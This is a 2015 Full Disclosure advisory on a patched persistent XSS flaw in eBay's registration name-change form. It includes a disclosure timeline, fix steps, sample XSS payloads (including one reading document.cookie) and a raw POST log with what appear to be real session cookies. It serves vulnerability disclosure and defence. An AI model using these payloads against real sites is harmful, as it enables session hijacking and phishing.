[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 21 Apr 2015 11:56:03 +0200
Document Title:
===============
Ebay Inc Xcom #6 - Persistent POST Inject Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1227
Release Date:
=============
2015-03-24
Vulnerability Laboratory ID (VL-ID):
====================================
1227
Common Vulnerability Scoring System:
====================================
3.9
Product & Service Introduction:
===============================
eBay Inc. is an American multinational internet consumer-to-consumer
corporation, headquartered in San Jose, California. It was founded by Pierre
Omidyar in 1995,
and became a notable success story of the dot-com bubble; it is now a
multi-billion dollar business with operations localized in over thirty
countries. The company
manages eBay.com, an online auction and shopping website in which people and
businesses buy and sell a broad variety of goods and services worldwide. In
addition to
its auction-style sellings, the website has since expanded to include `Buy It
Now` standard shopping; shopping by UPC, ISBN, or other kind of SKU (via
Half.com);
online classified advertisements online event ticket trading online money
transfers and other services.
(Copy of the Homepage: http://en.wikipedia.org/wiki/EBay )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered mutliple persistent input
validation web vulnerabilities in the official Ebay Magento Web-Application
(CMS & API).
Vulnerability Disclosure Timeline:
==================================
2014-03-16: Researcher Notification & Coordination (Benjamin Kunz Mejri -
Evolution Security GmbH)
2014-03-17: Vendor Notification (eBay Inc - Security Research Team)
2014-04-16: Vendor Response/Feedback (eBay Inc - Security Research Team)
2015-03-19: Vendor Fix/Patch (eBay Inc - Xcom Developer Team)
2015-03-24: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Ebay Inc.
Product: Ebay Inc - Official WebSite Application & API
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Two persistent input validation web vulnerabilities has been discovered in the
official Ebay Magento Web-Application (CMS & API).
A persistent vulnerability allows remote attackers to inject malicious script
codes on the application-side of the affected web-application.
The vulnerability is located in the real `name change` (`Namensänderung`)
formular. The input validation of the vulnerable `first- & lastname` does
not encode scipt codes. Remote attackers are able to jungle over the main
website to the real name change module. In the real name change module the
change the registration name with an payload. The scipt code executes in both
scenarios but only in case without doublequotes it will be changed
(written) in the database. The execution occurs directly in the formular and in
the top user name context location. The attack vector is persistent
and the request method to inject is POST. After the save of the payload it is
possible to attack platform users with the manipulated profile values.
The security risk of the application-side web vulnerability is estimated as
medium with a cvss (common vulnerability scoring system) count of 3.9.
Exploitation of the persistent web vulnerability requires a low privileged
web-application user account and low user interaction. Successful exploitation
results in session hijacking, persistent phishings attacks, persistent external
redirect and malware loads or persistent manipulation of affected or
connected module context.
Vulnerable Module(s):
[+] Startseite > Namensänderung >
[Namensänderung]
Vulnerable Parameter(s):
[+] firstname
[+] lastname
Affected Domain(s):
[+] ebay.com
[+] namechange.ebay.*
Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote
attackers with low privileged application user account and low or medium user
interaction.
For security demonstration or to reproduce the vulnerability follow the
provided steps and information below to continue.
PoC: firstname
<td><input name="firstname" style="width:500px;" value=""
type="text">[PERSISTENT INJECTED SCRIPT CODE!]<img src="x"
onerror="prompt(23);">​​​​​ "><img src="x"
onerror="prompt(23);">">​​​​​</td>
PoC: lastname
<td class="Bullets">
<input name="lastname" style="width:500px;" value="" type="text">[PERSISTENT
INJECTED SCRIPT CODE!]<img src="x"
onerror="prompt(23);">​​​​​ "><img src="x"
onerror="prompt(23);">">​​​​​</td>
PoC: Payload(s)
">%20<img src="a" onerror="prompt(23);">
"<img src="x" onerror="prompt(document.cookie);">
--- PoC Session Logs [POST] ---
Status: Aus dem Cache geladen[Aus dem Cache geladen]
POST http://namechange.ebay.de/ Load Flags[LOAD_FROM_CACHE ] Größe des
Inhalts[-1] Mime Type[unbekannt]
Request Header:
Host[namechange.ebay.de]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101
Firefox/27.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://namechange.ebay.de/]
Cookie[ebay=%5Ea2p%3D53271e2790000000000.%5Epsi%3DAsoSnBFk*%5EsfLMD%3D1391608831%5Esbf%3D1048576%5Ecos%3D0%5Ecv%3D15555%5Esin%3Din%5Ejs%3D1%5Edv%3D53271766%5E;
dp1=bpcid/223570455084ab5^a1p/0532868b5^bl/DE56e97e35^pbf/%2340000000000081a8c200000455084ab5^mpc/0%7C7753344635^kms/in56e97e35^reg/%5EflagReg%3D1%5E5c8d8e00^tzo/-3c53272545^exc/0%3A0%3A2%3A2534ea435^u1p/MjAxNC5rdW56bQ**55084ab5^u1f/Benjamin55084ab5^idm/1532865eb^;
cssg=d0a729021440a62067e10281ff8b9953;
s=BAQAAAUSucEmyAAWAAAEAClMoaGoyMDE0Lmt1bnptAAMAAVMoaLUwAWUAAlMoaLUjMgAGAAFTKGi1MACoAAFTKGi0MQFKABlTKGi1NTMyNzE3MzUuNzcuMS4xMS43OC4yLjAuMgAMAApTKGi1MTIyNTYzNzkwNgDuAGxTKGi1MQZodHRwOi8vbXkuZWJheS5kZS93cy9lQmF5SVNBUEkuZGxsP015ZUJheSZteWViYXk9JmN1cnJlbnRwYWdlPU15ZUJheUFkZHJlc3NlcyZzc3BhZ2VuYW1lPVNUUkslM0FNRSUzQUxOTEsHABEAD1MnG5owMDEyMTIwMTQua3Vuem0AEgAKUyhotXRlc3RDb29raWUA9AAiUyhotSQyJEFHbGR1QlhiJERkenZyQms4VzNCY25OdWo0WlpYZTAA+AAgUyhotWQwYTcyOTAyMTQ0MGE2MjA2N2UxMDI4MWZmOGI5OTUzALgADFMnGGExMzk1MDcwNzU2OjAAPQAKUyhotTIwMTQua3Vuem1FmLE+27m8Zof+2xnXOm4/NFcHGw**;
nonsession=BAQAAAUSucEmyAAaAAEAAClUISrUyMDE0Lmt1bnptAWQAA1UISrUjOGEABAAKVQhKajIwMTQua3Vuem0AygAgXI0YtWM3OGNiZWY5MTQ0MGEzNTgyZGMzZDMxM2ZmYTdhM2IyAMsAAlMnHj05MgFMABlVCEq1NTMyNzE3MzUuNzcuMS4xMS43OC4zLjAuMgFNABlVCEq1NTMyNzE3MzUuNzcuMS4yLjEzNi4wLjAuMgAQAApVCEq1MjAxNC5rdW56bQAzAAlVCEq1MzQxMjgsREVVAPMAIlUISrUkMiRBR2xkdUJYYiREZHp2ckJrOFczQmNuTnVqNFpaWGUwALQAAVMn7vAwAJoAC1MpueoyMDE0Lmt1bnptbgCcADhVCEq1blkrc0haMlByQm1kajZ3Vm5ZK3NFWjJQckEyZGo2QUdrb2VuQzVlTG9RcWRqNng5blkrc2VRPT0AnQAIVQhKtTAwMDAwMDAxPfZj5+XMryhDSD8OFMa8uTDhh84*;
cid=fQWajzwBNP9yfsZ3%232235704; lucky9=9735524;
npii=btguid/c78cbef91440a3582dc3d313ffa7a3b255084a4a^cguid/c77cfce61440a56b23d61f96fe2e024155084a4a^;
ds1=ats/0;
ns1=BAQAAAUSucEmyAAaAANgAYlUISrVjOTR8NjAxXjEzOTUwNzAyNzMwMTdeTWpBeE5DNXJkVzU2YlE9PV4xXjN8Mnw2NXw1MHw1fDR8MTF8N14xXjJeNF4zXjEyXjEyXjJeMV4xXjBeMV4wXjBeMjE0NzQ5MTc3OQClAA1VCEq1MTIyNTYzNzkwNi8wO0yWn93iOeekHlbGoiabaz+eh5SQ;
secses=BAQAAAUSucEmyAAaAAUsAGVUISrU1MzI3MTczNS43Ny4xLjExLjc4LjIuMC4y0niei+BIO3Yw57q3p8I3L/TNtoI*;
shs=BAQAAAUSucEm
yAAaAAVUADlMwUbQ1MTYyMjA1MzEwMDQsM9g7wvvmFa4cmHqHt8ygpU/NRi+3;
ds2=asotr/b1Brzzzzzzzz^;
dnc-ebay-de=e466b3644255378e63e0f112f81ebb0abf2ad87aad2a1286866a8d066286e5fc;
ebay_dnc=u8sqslc4u5voc8605b5o7a8ag3; ssg=uld/1395070822457%5E]
POST-Daten:
firstname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
lastname[+%22%3E%3C[MALICIOUS SCRIPT CODE!]%2823%29%3B%3E]
reason_code[NCP]
request_comment[+%22%3E%3C[MALICIOUS SCRIPT
CODE!]%2823%29%3B%3E+++bug+bounty+program+test+-+bkm]
action[proceed]
Reference(s):
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationPreview
https://scgi.ebay.de/ws/eBayISAPI.dll?ChangeRegistrationShow (Click Change
original Registration Account "Name")
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange1 (Login as the
regular user account)
https://signin.ebay.de/ws/eBayISAPI.dll?SignIn&runame=namechange2 (Exchange the
user values with the name with a persistent script code payload)
http://namechange.ebay.de/ (persistent execution with save in the frontend &
executable script code in backend too!)
Solution - Fix & Patch:
=======================
The vulnerability needs to be patched in 3 different steps.
1. The input field of the original registration user name change module needs
to be restricted on special characters or script codes
2. In the second step the input of the context itself needs to be encoded or
secure parsed to prevent further execution of malicious injected script codes
as original user name value.
3. The optional third step is to encode already injected strings as original
names in the database to prevent executions after the module has been
successful updated.
Security Risk:
==============
The security risk of the application-side input validation web vulnerability in
the ebay original name change module is estimated as medium.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential
loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen
material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-db.com -
vulnerability-lab.com/contact.php -
evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All
other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To
record, list (feed), modify, use or edit our material contact
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a
permission.
Copyright © 2015 | Vulnerability Laboratory -
[Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx
PGP KEY:
http://www.vulnerability-lab.com/keys/admin@xxxxxxxxxxxxxxxxxxxxx%280x198E9928%29.txt
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/